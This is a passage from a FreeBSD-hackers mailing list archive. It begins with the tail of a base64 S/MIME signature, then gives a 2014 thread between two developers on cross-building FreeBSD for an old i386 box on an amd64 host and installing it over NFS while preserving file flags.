c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 I3dNoXHYfYa8PlVLL/qtXnkFgdtY1o95CfegFJTwqBBmf8pyTUnFsukDFUI22zF5bVHzuJ+GxhnS qN2sD1qetbYwBYK2iyYA5Pg7Er1A+hKMIzEzcduRkIMmCeUTyMyikfbUFvIBivtvkR8ZFAk22BZy +pJfAoedO61HTz4qSfQoCRcLN5A0t4DkuVhTMXIzuQ8CnykhExD6x4e6ebIbrjZLb7L+ocR0y4Yj Cl/Pd4MXU91y0vTipgr/O75CDUHDRHCCKBVmz/Rzkc/b970MEeHt5LC3NiWTgBSvrLEuVzBKM586 YoRD9Dy3OHQgWI270g+5MYA8GfgI/EPT5G7xPbCDz+zjdH89PeR3U4So4lSXur6H6vp+m9TQXPF3 a0LwZrp8MQ+Z77U1uL7TelWO5lApsbAonrqASfTpaprFVkL4nyGH+NHST2ZJPWIBk81i6Vw0ny0q ZW2Niy/QvVNKbb43A43ny076khXO7cNbBIRdJ/6qQNq9Bqb5C0Q5nEsFcj75oxQRqlKf6TcvGbjx kJh8BYtv9ePsXklAxtm8J7GCUBthHSQgepbkOexhJ0wP8imUkyiPHQ0GvEnd83129fZjoEhdGwXV 27ioRKbj/cIq7JRXun0NbeY+UdMYu9jGfIpDLtUUGSgsg2zMGs5R4jCCB8kwggWxoAMCAQICAQEw DQYJKoZIhvcNAQEFBQAwfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzAp BgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0 Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MDkxNzE5NDYzNloXDTM2MDkxNzE5NDYz NlowfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3Vy ZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0Q29tIENlcnRpZmlj YXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwYjbCbxsRnx4 n5V7tTOQ8nJi1sE2ICIkXs7pd/JDCqIGZKTMjjb4OOYj8G5tsTzdcqOFHKHTPbQzK9Mvr/7qsEFZ Z7bEBn0KnnSF1nlMgDd63zkFUln39BtGQ6TShYXSw3HzdWI0uiyKfx6P7u000BHHls1SPboz1t1N 3gs7SkufwiYv+rUWHHI1d8o8XebK4SaLGjZ2XAHbdBQl/u21oIgP3XjKLR8HlzABLXJ5+kbWEyqo uaarg0kd5fLv3eQBjhgKj2NTFoViqQ4ZOsy1ZqbCa3QH5Cvhdj60bdj2ROFzYh87xL6gU1YlbFEJ 96qryr92/W2b853bvz1mvAxWqq+YSJU6S9+nWFDZOHWpW+pDDAL/mevobE1wWyllnN2qXcyvATHs DOvSjejqnHvmbvcnZgwaSNduQuM/3iE+e+ENcPtjqqhsGlS0XCV6yaLJixamuyx+F14FTVhuEh0B 7hIQDcYyfxj//PT6zW6R6DZJvhpIaYvClk0aErJpF8EKkNb6eSJIv7p7afhwx/p6N9jYDdJ2T1f/ kLfjkdLd78Jgt2c63f6qnPDUi39yIs7Gn5e2+K+KoBCo2fsYxra1XFI8ibYZKnMBCg8DsxJg8nov gdujbv8mMJf1i92JV7atPbOvK8W3dgLwpdYrmoYUKnL24zOMXQlLE9+7jHQTUksCAwEAAaOCAlIw ggJOMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgGuMB0GA1UdDgQWBBROC+8apEBbpRdphzDKNGhD 0EGu8jBkBgNVHR8EXTBbMCygKqAohiZodHRwOi8vY2VydC5zdGFydGNvbS5vcmcvc2ZzY2EtY3Js LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDYwMTE4NTgxM1owIwYJKoZIhvcN AQkEMRYEFKX+fBj5miRC9yhsAyMaB7Lt7hW3MIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMGoo4wDQYJKoZIhvcNAQEBBQAEggEAGjWCR+tDT/xkFtqTIDHX qfM3Fae2SOCz21HrYgxMk6fpoBHJdsOIm6q+u2Wz9oWI6vQYFHb9syibeC11t4PTgvVYGxCmMd1F VZ7VZ/MHOInCsSud0Qya1GCPtT2i8vEIMN6FCU66UBR2aIWUvlvzO6dO0eqfp12uzW9d1b+KfrTZ Ab5PaAjWkeKtthr68dC6ut8EfOCwzRH3Bf1sS6etBV6BOQO5OSipJiCqLYUt0WFs4q+rtW6VbBBX YsT/hEEYpn/pNq4bcVGr9ly2k2KoXLiRulj2b7SEGC7xD4gIsHyYbkAlpC6bBn120bKS21k72vGk wDwbY3gGwdwZY3TXMAAAAAAAAA== --Apple-Mail-B322014B-5AA1-417F-A80B-20928CB18047-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 19:04:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BF62A2DC for ; Sun, 1 Jun 2014 19:04:01 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 9E87E2758 for ; Sun, 1 Jun 2014 19:04:01 +0000 (UTC) Received: from AlfredMacbookAir.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id 48EB51A3C1D; Sun, 1 Jun 2014 12:04:01 -0700 (PDT) Message-ID: <538B7937.2030104@mu.org> Date: Sun, 01 Jun 2014 12:04:23 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org, Jason Hellenthal Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> In-Reply-To: <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 19:04:01 -0000 On 6/1/14, 11:58 AM, Jason Hellenthal wrote: > >> On Jun 1, 2014, at 14:51, Alfred Perlstein wrote: >> >> >>> On 6/1/14, 11:42 AM, Jason Hellenthal wrote: >>> That would be nice. Could've swore there was something similar to that but memory escapes me as I haven't done backwards cross compiles in awhile. >>> >>> Curious have you done a svn status on your src tree in a while to see if there are any stale depends laying around that may affect the compilation ? >> I use git. :) But the build tree was completely clean. >>> Also ALWAYS_CHECK_MAKE=YES defined in make.conf ? >> No, what does that do? > Instructs the top-level Makefile to check if make(1) is up-to-date. Not sure if it really would have an effect on a cross build but worth a shot. > make.conf(5) holds a better definition of it. > >> I think once I get this sorted I will make a blog post on it, right now that blog post is basically: >> >> export TARGET=i386 >> make buildworld -j36 >> make buildkernel -j36 >> mkdir -p /mnt/target.local /mnt/target >> make installkernel installworld DESTDIR=/mnt/target.local >> mount i386target:/ /mnt/target >> rsync -avvH /mnt/target.local /mnt/target >> >> I thought though there was a way to get this to work, obviously there is a bug here that we lose "chflags" bits on install. I wonder if there's a way to restore or preserve them? > rsync(1) can be build from ports with the chflags patch that should aid in preserving them. > > rsync --fileflags . . . Unfortunately I'm doing it over NFS and I don't think we support chflags over NFS (not even with an extension). mount i386target:/ /mnt/target rsync -avvH /mnt/target.local /mnt/target So that wouldn't work... perhaps if I mounted from the i386 host and ran rsync from the i386 host, however then I'm overwriting the running system... I figured out two other ways that might work: 1) make the "distribution tarballs" then dig through the installer to find the part that knows about manifests enough to set chflags. -or- 2) give up and build it all under a i386 vm so the "installtools" are i386, then somehow export that to the i386 machine. meh! -Alfred > >> -Alfred >> >> >> >> >> >> >> >> >> >>> -- >>> Jason Hellenthal >>> Voice: 95.30.17.6/616 >>> JJH48-ARIN >>> >>> On Jun 1, 2014, at 14:24, Alfred Perlstein wrote: >>> >>>>> On 6/1/14, 10:34 AM, Jason Hellenthal wrote: >>>>> What if you just NFS mount the obj directory from the 386 to the amd64 build world for 386 the mount the src on the i386 and just rebuild strip and friends ? >>>>> >>>>> A little more of a hack i know but would get the job done. >>>> I tried that using install(1), then it broke with strip(1), then I basically was like, "this is a rabbit hole, forget it" and used rsync. >>>> >>>> I was really looking for a "buildinstalltools" or something target (as you suggest), but I couldn't find one. >>>> >>>> Is there an "buildinstalltools" target? >>>> >>>> -Alfred >>>>> -- >>>>> Jason Hellenthal >>>>> Voice: 95.30.17.6/616 >>>>> JJH48-ARIN >>>>> >>>>> On Jun 1, 2014, at 13:25, Alfred Perlstein wrote: >>>>> >>>>>> Hello hackers. >>>>>> >>>>>> Is there a way to build on amd64 and then mount over nfs the build and src and installworld from an i386 machine? >>>>>> >>>>>> The problem seems to be that "install" and "strip" and etc are built as amd64 binaries so that the installworld will fail. >>>>>> >>>>>> Below I have a solution I was going to do a blog post about, but then realized maybe I'd be leading people down the wrong path. >>>>>> >>>>>> Can someone verify that I need to use rsync as opposed to installworld for this to work? >>>>>> >>>>>> I have an old i386 based soekris geode box called "soekris": >>>>>> CPU: Geode(TM) Integrated Processor by AMD PCS (499.91-MHz 586-class CPU) >>>>>> Origin = "AuthenticAMD" Id = 0x5a2 Family = 0x5 Model = 0xa Stepping = 2 >>>>>> Features=0x88a93d >>>>>> AMD Features=0xc0400000 >>>>>> real memory = 536870912 (512 MB) >>>>>> avail memory = 502792192 (479 MB) >>>>>> >>>>>> Building on this machine is difficult because of the speed and lack of space, so I decided to use my more powerful amd64 machine "spigot": >>>>>> CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (3392.37-MHz K8-class CPU) >>>>>> Origin="GenuineIntel" Id=0x206a7 Family=0x6 Model=0x2a Stepping=7 >>>>>> ... >>>>>> real memory = 17179869184 (16384 MB) >>>>>> avail memory = 16585228288 (15816 MB) >>>>>> FreeBSD/SMP: 1 package(s) x 4 core(s) x 2 SMT threads >>>>>> >>>>>> So I've built an 10-stable on the amd64 machine using: >>>>>> >>>>>> spigot % TARGET=i386 >>>>>> spigot % make -j24 buildworld >>>>>> spigot % make -j24 buildkernel >>>>>> >>>>>> Works great, I get an i386 object tree under /usr/obj/i386.386/... >>>>>> >>>>>> Then I go to install this over NFS and this is where I get stuck. >>>>>> >>>>>> If I mount the i386 machine like so and install I get errors on libc and other libraries: >>>>>> >>>>>> spigot % mount soekris:/ /usr/soekris >>>>>> spigot % cd /usr/src && make installworld >>>>>> ..... >>>>>> ===> lib/libcrypt (install) >>>>>> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >>>>>> install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib >>>>>> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekris/lib >>>>>> install: /usr/soekris/lib/libcrypt.so.5: Input/output error >>>>>> *** Error code 71 >>>>>> >>>>>> Stop. >>>>>> make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt >>>>>> *** Error code 1 >>>>>> >>>>>> OK, so that doesn't work... >>>>>> >>>>>> Maybe if I mount the amd64 build host under the soekris box, no that breaks because the bootstrap tools (install(1), strip(1)) are built for amd64 so the install fails. >>>>>> >>>>>> So what I finally did on the amd64 box was: >>>>>> >>>>>> spigot % mkdir /use/soekris.local >>>>>> spigot % make installworld DESTDIR=/usr/soekris.local >>>>>> spigot % mount soekris:/ /usr/soekris >>>>>> spigot % rsync -avvH /usr/soekris.local/ /usr/soekris/ >>>>>> >>>>>> That hung at the end forever at the end: >>>>>> var/unbound/ >>>>>> var/yp/ >>>>>> var/yp/Makefile >>>>>> var/yp/Makefile.dist >>>>>> .... >>>>>> >>>>>> but after giving it an hour I just hit ^C and rebooted and everything was more or less fine. >>>>>> >>>>>> Is there a better way to do this? Was the "installworld to NFS" breaking because of NFS bugs? Should I get those to Rick? I'm just confused. >>>>>> >>>>>> -Alfred >>>>>> _______________________________________________ >>>>>> freebsd-hackers@freebsd.org mailing list >>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 19:23:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D106596B for ; Sun, 1 Jun 2014 19:23:38 +0000 (UTC) Received: from mail-qa0-x22e.google.com (mail-qa0-x22e.google.com [IPv6:2607:f8b0:400d:c00::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8662228D8 for ; Sun, 1 Jun 2014 19:23:38 +0000 (UTC) Received: by mail-qa0-f46.google.com with SMTP id w8so1525381qac.19 for ; Sun, 01 Jun 2014 12:23:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=PbsH8sKGlaOhBljnhVBhfTg841KEjZKgG4EA/J9yoaQ=; b=ViD7oe7/fX76xSLpHrWaE6PZrRUI9aI1Gm7a2p5GXLrVI/tCaSC79LJs9JFLvz+b0O NRVl51773BK31d3Q4aCnkUVZfxgr4d/QDa+6Tk1DLQbJjC76vqUPByc3uz3y2niaPbNM 2x7Cg9npqKw9PuJMLCbl8tGuIpcOMvRLv2OlU= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=PbsH8sKGlaOhBljnhVBhfTg841KEjZKgG4EA/J9yoaQ=; b=iwzfmPVrFXR1VbpQGEOz0yVix893kNeW8z63Af7i/odZMHs3c07HDIlcpWCxSqm1EU Kw+xsixnVvVsHVCSPeM+kTMYjSwvtzaRjN/XK7h7ZAjhlQikeFfFSDvBK4AI0BONHrzq Yo36TSttDSdgLzIpWTVuiC1Pbq5z/YvnkdV5u1vZPHrO9Kv7+qFwUq+rb/M7d5IKSh7h XDUwnniyQBanxnxoN54kI1xJLM3Hd1j1OgB8GIukW7oBODMRiExf+bjMF6RzwQ843LTq FjgmPWs55uR7U6koMrf0/S9rD9e/xUvsovvkQ1A+ndgRCYkFi2q0eWtU5Rg75G570DSa U3Xw== X-Gm-Message-State: ALoCoQma4HJzbpe+QRHydFrbsQ2BCvn5WRZiDrAeWHQnvRQFGUctRgsEpShqzFBK1N/OVyNQ0aWc MIME-Version: 1.0 X-Received: by 10.224.92.144 with SMTP id r16mr43883288qam.10.1401650617553; Sun, 01 Jun 2014 12:23:37 -0700 (PDT) Received: by 10.140.92.198 with HTTP; Sun, 1 Jun 2014 12:23:37 -0700 (PDT) X-Originating-IP: [75.128.101.59] In-Reply-To: <538B7937.2030104@mu.org> References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> Date: Sun, 1 Jun 2014 15:23:37 -0400 Message-ID: Subject: Re: Upgrading an i386 machine from amd64. From: Jason Hellenthal To: Alfred Perlstein Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 19:23:38 -0000 What about doing an install to DESTDIR on the amd64 machine then using either cpio(1) or if it was on its own device whether it be a mdconfig(8)'d file and then using dump(8) to just create a backup and restore file of the whole filesystem... truncate -s 4g /usr/mdroot mdconfig -v -f /usr/mdroot newfs -U -O2 /dev/md0 mount /dev/md0 /mnt/md0 make installkernel DESTDIR=/mnt/md0 make installworld DESTDIR=/mnt/md0 dump -h -0 -L -f /data/md0.backup /dev/md0 Then on the i386: cd / ; restore rvf /data/md0.backup Should keep your flags and everything else that may exist without the need for any install tools which can be replaced at a later point. On Sun, Jun 1, 2014 at 3:04 PM, Alfred Perlstein wrote: > > On 6/1/14, 11:58 AM, Jason Hellenthal wrote: > >> >> On Jun 1, 2014, at 14:51, Alfred Perlstein wrote: >>> >>> >>> On 6/1/14, 11:42 AM, Jason Hellenthal wrote: >>>> That would be nice. Could've swore there was something similar to that >>>> but memory escapes me as I haven't done backwards cross compiles in awhile. >>>> >>>> Curious have you done a svn status on your src tree in a while to see >>>> if there are any stale depends laying around that may affect the >>>> compilation ? >>>> >>> I use git. :) But the build tree was completely clean. >>> >>>> Also ALWAYS_CHECK_MAKE=YES defined in make.conf ? >>>> >>> No, what does that do? >>> >> Instructs the top-level Makefile to check if make(1) is up-to-date. Not >> sure if it really would have an effect on a cross build but worth a shot. >> make.conf(5) holds a better definition of it. >> >> I think once I get this sorted I will make a blog post on it, right now >>> that blog post is basically: >>> >>> export TARGET=i386 >>> make buildworld -j36 >>> make buildkernel -j36 >>> mkdir -p /mnt/target.local /mnt/target >>> make installkernel installworld DESTDIR=/mnt/target.local >>> mount i386target:/ /mnt/target >>> rsync -avvH /mnt/target.local /mnt/target >>> >>> I thought though there was a way to get this to work, obviously there is >>> a bug here that we lose "chflags" bits on install. I wonder if there's a >>> way to restore or preserve them? >>> >> rsync(1) can be build from ports with the chflags patch that should aid >> in preserving them. >> >> rsync --fileflags . . . >> > > Unfortunately I'm doing it over NFS and I don't think we support chflags > over NFS (not even with an extension). > > mount i386target:/ /mnt/target > rsync -avvH /mnt/target.local /mnt/target > > > So that wouldn't work... perhaps if I mounted from the i386 host and ran > rsync from the i386 host, however then I'm overwriting the running system... > > I figured out two other ways that might work: > > 1) make the "distribution tarballs" then dig through the installer to find > the part that knows about manifests enough to set chflags. > -or- > 2) give up and build it all under a i386 vm so the "installtools" are > i386, then somehow export that to the i386 machine. > > meh! > > -Alfred > >> >> -Alfred >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> -- >>>> Jason Hellenthal >>>> Voice: 95.30.17.6/616 >>>> JJH48-ARIN >>>> >>>> On Jun 1, 2014, at 14:24, Alfred Perlstein wrote: >>>> >>>> On 6/1/14, 10:34 AM, Jason Hellenthal wrote: >>>>>> What if you just NFS mount the obj directory from the 386 to the >>>>>> amd64 build world for 386 the mount the src on the i386 and just rebuild >>>>>> strip and friends ? >>>>>> >>>>>> A little more of a hack i know but would get the job done. >>>>>> >>>>> I tried that using install(1), then it broke with strip(1), then I >>>>> basically was like, "this is a rabbit hole, forget it" and used rsync. >>>>> >>>>> I was really looking for a "buildinstalltools" or something target (as >>>>> you suggest), but I couldn't find one. >>>>> >>>>> Is there an "buildinstalltools" target? >>>>> >>>>> -Alfred >>>>> >>>>>> -- >>>>>> Jason Hellenthal >>>>>> Voice: 95.30.17.6/616 >>>>>> JJH48-ARIN >>>>>> >>>>>> On Jun 1, 2014, at 13:25, Alfred Perlstein wrote: >>>>>> >>>>>> Hello hackers. >>>>>>> >>>>>>> Is there a way to build on amd64 and then mount over nfs the build >>>>>>> and src and installworld from an i386 machine? >>>>>>> >>>>>>> The problem seems to be that "install" and "strip" and etc are built >>>>>>> as amd64 binaries so that the installworld will fail. >>>>>>> >>>>>>> Below I have a solution I was going to do a blog post about, but >>>>>>> then realized maybe I'd be leading people down the wrong path. >>>>>>> >>>>>>> Can someone verify that I need to use rsync as opposed to >>>>>>> installworld for this to work? >>>>>>> >>>>>>> I have an old i386 based soekris geode box called "soekris": >>>>>>> CPU: Geode(TM) Integrated Processor by AMD PCS (499.91-MHz 586-class >>>>>>> CPU) >>>>>>> Origin = "AuthenticAMD" Id = 0x5a2 Family = 0x5 Model = 0xa >>>>>>> Stepping = 2 >>>>>>> Features=0x88a93d >>>>>>> AMD Features=0xc0400000 >>>>>>> real memory = 536870912 (512 MB) >>>>>>> avail memory = 502792192 (479 MB) >>>>>>> >>>>>>> Building on this machine is difficult because of the speed and lack >>>>>>> of space, so I decided to use my more powerful amd64 machine "spigot": >>>>>>> CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (3392.37-MHz K8-class >>>>>>> CPU) >>>>>>> Origin="GenuineIntel" Id=0x206a7 Family=0x6 Model=0x2a >>>>>>> Stepping=7 >>>>>>> ... >>>>>>> real memory = 17179869184 (16384 MB) >>>>>>> avail memory = 16585228288 (15816 MB) >>>>>>> FreeBSD/SMP: 1 package(s) x 4 core(s) x 2 SMT threads >>>>>>> >>>>>>> So I've built an 10-stable on the amd64 machine using: >>>>>>> >>>>>>> spigot % TARGET=i386 >>>>>>> spigot % make -j24 buildworld >>>>>>> spigot % make -j24 buildkernel >>>>>>> >>>>>>> Works great, I get an i386 object tree under /usr/obj/i386.386/... >>>>>>> >>>>>>> Then I go to install this over NFS and this is where I get stuck. >>>>>>> >>>>>>> If I mount the i386 machine like so and install I get errors on libc >>>>>>> and other libraries: >>>>>>> >>>>>>> spigot % mount soekris:/ /usr/soekris >>>>>>> spigot % cd /usr/src && make installworld >>>>>>> ..... >>>>>>> ===> lib/libcrypt (install) >>>>>>> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >>>>>>> install -C -o root -g wheel -m 444 libcrypt_p.a >>>>>>> /usr/soekris/usr/lib >>>>>>> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 >>>>>>> /usr/soekris/lib >>>>>>> install: /usr/soekris/lib/libcrypt.so.5: Input/output error >>>>>>> *** Error code 71 >>>>>>> >>>>>>> Stop. >>>>>>> make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt >>>>>>> *** Error code 1 >>>>>>> >>>>>>> OK, so that doesn't work... >>>>>>> >>>>>>> Maybe if I mount the amd64 build host under the soekris box, no that >>>>>>> breaks because the bootstrap tools (install(1), strip(1)) are built for >>>>>>> amd64 so the install fails. >>>>>>> >>>>>>> So what I finally did on the amd64 box was: >>>>>>> >>>>>>> spigot % mkdir /use/soekris.local >>>>>>> spigot % make installworld DESTDIR=/usr/soekris.local >>>>>>> spigot % mount soekris:/ /usr/soekris >>>>>>> spigot % rsync -avvH /usr/soekris.local/ /usr/soekris/ >>>>>>> >>>>>>> That hung at the end forever at the end: >>>>>>> var/unbound/ >>>>>>> var/yp/ >>>>>>> var/yp/Makefile >>>>>>> var/yp/Makefile.dist >>>>>>> .... >>>>>>> >>>>>>> but after giving it an hour I just hit ^C and rebooted and >>>>>>> everything was more or less fine. >>>>>>> >>>>>>> Is there a better way to do this? Was the "installworld to NFS" >>>>>>> breaking because of NFS bugs? Should I get those to Rick? I'm just >>>>>>> confused. >>>>>>> >>>>>>> -Alfred >>>>>>> _______________________________________________ >>>>>>> freebsd-hackers@freebsd.org mailing list >>>>>>> 